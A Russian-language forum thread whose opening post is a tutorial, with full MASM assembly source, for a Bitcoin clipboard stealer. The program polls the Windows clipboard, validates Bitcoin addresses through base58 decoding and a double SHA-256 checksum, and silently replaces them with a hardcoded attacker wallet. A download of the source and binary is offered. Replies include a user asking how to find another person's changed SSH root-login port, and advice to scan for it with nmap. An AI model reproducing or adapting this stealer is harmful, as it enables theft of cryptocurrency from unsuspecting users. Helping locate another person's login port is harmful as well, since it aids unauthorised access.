Объявление

Свернуть
Пока нет объявлений.

Стиллер bitcoin's

Свернуть
X
 
  • Фильтр
  • Время
  • Показать
Очистить всё
новые сообщения

  • Стиллер bitcoin's

    Давным-давно для WebMoney (и не только) был популярен крайне простой способ получить чужие финансы: подменить содержимое буфера обмена Windows, если в нём находится номер кошелька на свой номер. С введением множества степеней защит данный метод перестали использовать, да и эффективность была под вопросом, не говоря уже о необходимости заставить пользователя запустить стороннее ПО, которое будет осуществлять подмену.
    Случай с Bitcoin отличается: подтверждения, по сути, отсутствуют, номера кошельков ещё более длинные, на конкретного пользователя не пожалуешься...
    В общем, давайте реализуем простой софт, который будет анализировать содержимое буфера обмена и подменять его, если обнаружит там корректный адрес Bitcoin кошелька. Писать будем на MASM, чтобы было веселее.

    Для начала необходимо понять, как проверять адрес кошелька на правильность. В этом нам помогут многочисленные веб-сайты, описывающие процесс создания Bitcoin-адреса, а также пример проверки, пусть даже и на PHP. С логикой проверки разобрались. Приступим к написанию реализации.
    Код:
    .386
    .model flat, stdcall
    option casemap :none
     
    include \masm32\include\windows.inc
    include \masm32\macros\macros.asm
    include \masm32\macros\windows.asm
     
    uselib kernel32, user32, advapi32, masm32
     
    .const
    [COLOR="DimGray"]; Диапазон допустимой длины адреса кошелька[/COLOR]
    wallet_len_min equ 27
    wallet_len_max equ 34
     
    [COLOR="DimGray"]; Код версии адреса[/COLOR]
    address_version equ 00h
     
    [COLOR="DimGray"]; Набор символов, используемых в адресе[/COLOR]
    [COLOR="DimGray"]; Кроме: 0 O I l[/COLOR]
    wallet_symbols db "123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz", 0
     
    [COLOR="DimGray"]; Адрес, на который будет заменяться значение в буфере[/COLOR]
    wallet_replace db "14GzzUaiNuDZYxhW8xd9emTJDtCjXKJkNT", 0
     
    .data?
    prov dd ?
    Мы объявили некоторые вспомогательные константы, которые нам в дальнейшем понадобятся для проверки адрес на корректность. Из ссылок выше понятно, что нам придется делать функцию декодирования для base58 и где-то брать реализацию SHA256. base58 реализуем самостоятельно, а SHA256... в общем воспользуемся Microsoft CryptoAPI. Продолжим.
    Код:
    .code
    [COLOR="DimGray"]; Вспомогательные функции
    ; Небольшая функция для логирования отладочной информации[/COLOR]
    log_message proc msg:dword
        local buffer[256]:byte
     
        invoke GetLastError
        invoke wsprintf, addr buffer, chr$("%s [%08X]"), msg, eax
     
        invoke OutputD***gString, addr buffer
     
        ret
    log_message endp
     
    base58_decode proc uses ebx esi edi, in_buffer:dword, out_buffer:dword
     
       [COLOR="DimGray"] ; Будем опираться на констаны, свойственные для проверки кошелька
        ; Размер выходного буфера не менее 25 байт (расширенный RIPEMD-160 + 4 байта контрольной суммы)]
        ; Декодирование исключительно под адрес кошелька,
        ; для абстрактной строки в base58 функцию необходимо править[/COLOR]
     
    [COLOR="DimGray"]    ; Заполняем содержимое буфера нулями[/COLOR]
        xor eax, eax
        mov ecx, 25
        mov edi, out_buffer 
        rep stosb
     
     
        mov esi, in_buffer
        mov edi, out_buffer
    m1:
        [COLOR="DimGray"]; Нулл-байт во входном буфере - конец декодирования[/COLOR]
        movzx eax, byte ptr[esi]
        test eax, eax
        je m5
     
        [COLOR="DimGray"]; Сохраним регистр на время сканирования символа в eax[/COLOR]
        push esi
     
        [COLOR="DimGray"]; Символ должен быть из набора wallet_symbols[/COLOR]
        mov esi, offset wallet_symbols
    m2:
        movzx ebx, byte ptr[esi]
       [COLOR="DimGray"] ; Если байты совпадают, то символ входит в набор допустимых[/COLOR]
        cmp eax, ebx
        jz m3
     
        [COLOR="DimGray"]; Если мы дошли до конца набора допустимых символов (нулл-байт)
        ; и все ещё не вышли из цикла, значит, символ не из набора[/COLOR]
        test ebx, ebx
        je err0
     
        [COLOR="DimGray"]; Продолжаем проверку[/COLOR]
        inc esi
        jmp m2
    m3:
        [COLOR="DimGray"]; Поместим в eax позицию найденого в наборе символа[/COLOR]
        mov eax, esi
        mov esi, offset wallet_symbols
     
        sub eax, esi
     
        [COLOR="DimGray"]; Вложенный цикл с конца выходного буфера[/COLOR]
        mov ebx, 25 - 1
    m4:
       [COLOR="DimGray"] ; N-й элемент буфера (с конца) умножим на 58
        ; и прибавим к позиции упомянутой выше[/COLOR]
        movzx ecx, byte ptr[edi + ebx]
     
        imul ecx, 58
        add eax, ecx
     
        [COLOR="DimGray"]; Сохраним в выходной буфер результат деления с остатком[/COLOR]
        push ebx
     
        cdq
        mov ebx, 256
        div ebx
     
        pop ebx
     
        mov byte ptr[edi + ebx], dl
     
        [COLOR="DimGray"]; Поделим позицию элемента на 256[/COLOR]
        push ebx
     
        cdq
        mov ebx, 256
        div ebx
     
        mov eax, edx
     
        pop ebx
     
      [COLOR="DimGray"] ; Конец тела вложенного цикла[/COLOR]
        dec ebx
        test ebx, ebx
        jne m4
     
     
        pop esi
     
       [COLOR="DimGray"]; Если в eax что-то отличное от нулл-байта,
        ; значит, адрес кошелька имеет некорректный размер[/COLOR]
        test eax, eax
        jne err1
     
        inc esi
        jmp m1
    m5:  
     
        mov eax, 1
        ret
     
    err0:
        pop esi
        invoke log_message, chr$("invalid symbol")
     
        mov eax, 0
        ret
    err1:
        invoke log_message, chr$("invalid address length")
     
        mov eax, 0
        ret
    base58_decode endp
    Теперь у нас есть функция декодирования и небольшая функция логирования. Для лучшего понимания алгоритма base58 стоит обратиться к Google, так как псевдокод или реализация на языке высокого уровня обычно проще для понимания. Перейдем к простой обертке над CryptoAPI, которая будет осуществлять вычисление необходимого хэша.
    Код:
    [COLOR="DimGray"]; Инициализация нужного криптопровайдера[/COLOR]
    sha256init proc
        invoke CryptAcquireContext, offset prov, NULL, NULL, PROV_RSA_AES, 0
        .if eax == 0
            invoke CryptAcquireContext, offset prov, NULL, NULL, PROV_RSA_AES, CRYPT_NEWKEYSET
        .endif
     
        ret
    sha256init endp
     
     
    sha256fini proc
        invoke CryptReleaseContext, prov, 0
     
        ret
    sha256fini endp
     
    [COLOR="DimGray"]; Хэширование SHA256[/COLOR]
    sha256 proc in_buffer:dword, in_buffer_length:dword, out_buffer:dword, out_buffer_length:dword
        local hash:dword
        local aux:dword
     
        [COLOR="DimGray"]; CALG_SHA_256 - 0x0000800c[/COLOR]
        invoke CryptCreateHash, prov, 0000800Ch, 0, 0, addr hash
        .if eax == 0
            invoke log_message, chr$("CryptCreateHash")
            jmp err
        .endif
     
        invoke CryptHashData, hash, in_buffer, in_buffer_length, 0
        .if eax == 0
            invoke log_message, chr$("CryptHashData")
            jmp err
        .endif
     
        mov aux, sizeof dword
     
        invoke CryptGetHashParam, hash, HP_HASHSIZE, addr out_buffer_length, addr aux, 0
        .if eax == 0
            invoke log_message, chr$("CryptGetHashParam - HP_HASHSIZE")
            jmp err
        .endif
     
        invoke CryptGetHashParam, hash, HP_HASHVAL, out_buffer, addr out_buffer_length, 0
        .if eax == 0
            invoke log_message, chr$("CryptGetHashParam - HP_HASHVAL")
            jmp err
        .endif
     
    err:
        .if hash != 0
            invoke CryptDestroyHash, hash
        .endif
     
        ret
    sha256 endp
    У нас есть всё, что нужно для счастья. Остается основная логика и немного работы с буфером обмена, но для этого мы воспользуемся готовыми функциями из библиотеки MASM.
    Код:
    [COLOR="DimGray"]; Функция проверки адреса[/COLOR]
    validate_wallet proc uses esi edi, buffer:dword
        local decoded[32]:byte
        local digest1[32]:byte
        local digest2[32]:byte
     
        invoke lstrlen, buffer
        .if eax < wallet_len_min || eax > wallet_len_max
            invoke log_message, chr$("wallet length error")
            jmp err
        .endif
     
       [COLOR="DimGray"] ; Декодируем адрес из base58[/COLOR]
        invoke base58_decode, buffer, addr decoded
        .if eax == 0
            invoke log_message, chr$("base58_decode error")
            jmp err   
        .endif
     
        [COLOR="DimGray"]; Проверяем версию[/COLOR]
        lea eax, decoded
        mov al, byte ptr[eax]
        .if al != address_version
            invoke log_message, chr$("address version error")
            jmp err   
        .endif
     
        invoke sha256, addr decoded, 21, addr digest1, sizeof digest1    
        invoke sha256, addr digest1, sizeof digest1, addr digest2, sizeof digest2
     
       [COLOR="DimGray"] ; Сравним декодированную и посчитанную контрольные суммы[/COLOR]
        lea esi, decoded
        add esi, 21 
        lea edi, digest2
     
        mov ecx, 4
        repz cmpsb
        jnz err
     
        mov eax, 1
        ret
    err:
        mov eax, 0
        ret
    validate_wallet endp
     
    start proc
        local clipboard_data:dword
     
     
        invoke sha256init
        .if eax == 0
            invoke log_message, chr$("sha256init")
            jmp err
        .endif
     
        .while TRUE
            invoke GetClipboardText
     
            .if eax != 0
                mov clipboard_data, eax
     
                [COLOR="DimGray"]; Проверим содержимое буфера обмена и заменим,
                ; если это адрес Bitcoin кошелька[/COLOR]
                invoke validate_wallet, clipboard_data
                .if eax != 0
                    invoke log_message, chr$("valid wallet detected")
                    invoke SetClipboardTextEx, offset wallet_replace
                .endif
     
                invoke GlobalFree, clipboard_data
            .endif
     
            invoke Sleep, 500
        .endw
     
    err:
        invoke sha256fini
     
        invoke ExitProcess, 0
        ret
    start endp
     
    end start
    Вот собственно и всё. Обращу внимание на один момент: функция SetClipboardTextEx не относится к библиотеке masmlib. Что она из себя представляет? Это функция SetClipboardText из masmlib, но после вызова
    Код:
    invoke OpenClipboard,NULL                   [COLOR="DimGray"]; open clipboard[/COLOR]
    я добавил ещё
    Код:
    invoke EmptyClipboard                       [COLOR="DimGray"]; clear clipboard[/COLOR]
    Без этого функция упорно не хотела изменять содержимое буфера обмена, по крайней мере на Windows 7. Не знаю, с чем это связано, не разбирался.
    Теперь всё готово. Компилируем и проверяем, также можно параллельно открыть D***gView и смотреть, какие отладочные сообщения выводит программа.

    Опытным путём несложно убедиться, что при копировании корректного адреса через буфер обмена он заменяется на наш.

    Исходный код + бинарник для тестов: Скачать
    Автор: Kaimi.
    Пишем тривиальный стилер биткоинов
    Последний раз редактировалось mestniy007; 04-12-2013, 19:39.

  • #2
    Ну на сколько я знаю падение курса было вызвано тем что кто-то просто скупил очень много именитой криптовалюты. хотя это не точно. Но большенство людей на биржах не смогло купить, сразу после падения, мноо валюты так как там что-то типа очереди на покупки вернее время обработки "заказаной валюты".

    п.ы. знаю что офф топ но обрыл, переспрашивал везде где только мог, никто не знает, может здесь кто выкупает. Как узнать порт на убунте, что используеться для входа под root-ом? конечно не совсем криворукий юзер предусмотрительно поменял стандартный порт.

    п.ы.ы там могут сидеть даже зверьки норм, типа стилов, внутри. А вобще так-то ломают не юзерские компы а сервера где лежат сервисовские контейнеры бтц.
    Последний раз редактировалось pazick; 02-12-2013, 23:42.

    Комментарий


    • #3
      код сам писал ?
      -нет ?

      будь добр выложи линк откуда взята новость )

      Комментарий


      • #4
        Сообщение от Destr-002 Посмотреть сообщение
        код сам писал ?
        -нет ?

        будь добр выложи линк откуда взята новость )
        Все в теме есть.

        Комментарий


        • #5
          Co-o-o-o-o-l! What's miracle...
          Чего-то надо от меня? Пишите письма!
          [email protected]

          Комментарий


          • #6
            СПАСИБО...надо будет почитать на досуге... а вось куда то нажму...

            Комментарий


            • #7
              Сообщение от pazick Посмотреть сообщение
              п.ы. знаю что офф топ но обрыл, переспрашивал везде где только мог, никто не знает, может здесь кто выкупает. Как узнать порт на убунте, что используеться для входа под root-ом? конечно не совсем криворукий юзер предусмотрительно поменял стандартный порт.
              Если речь идет про SSH, то юзер, если он не идиот, вообще запретит логин под рутом.
              Попробуй nmap'ом посканить, он по сигнатурам может найти порт SSH.

              Комментарий

              Обработка...
              X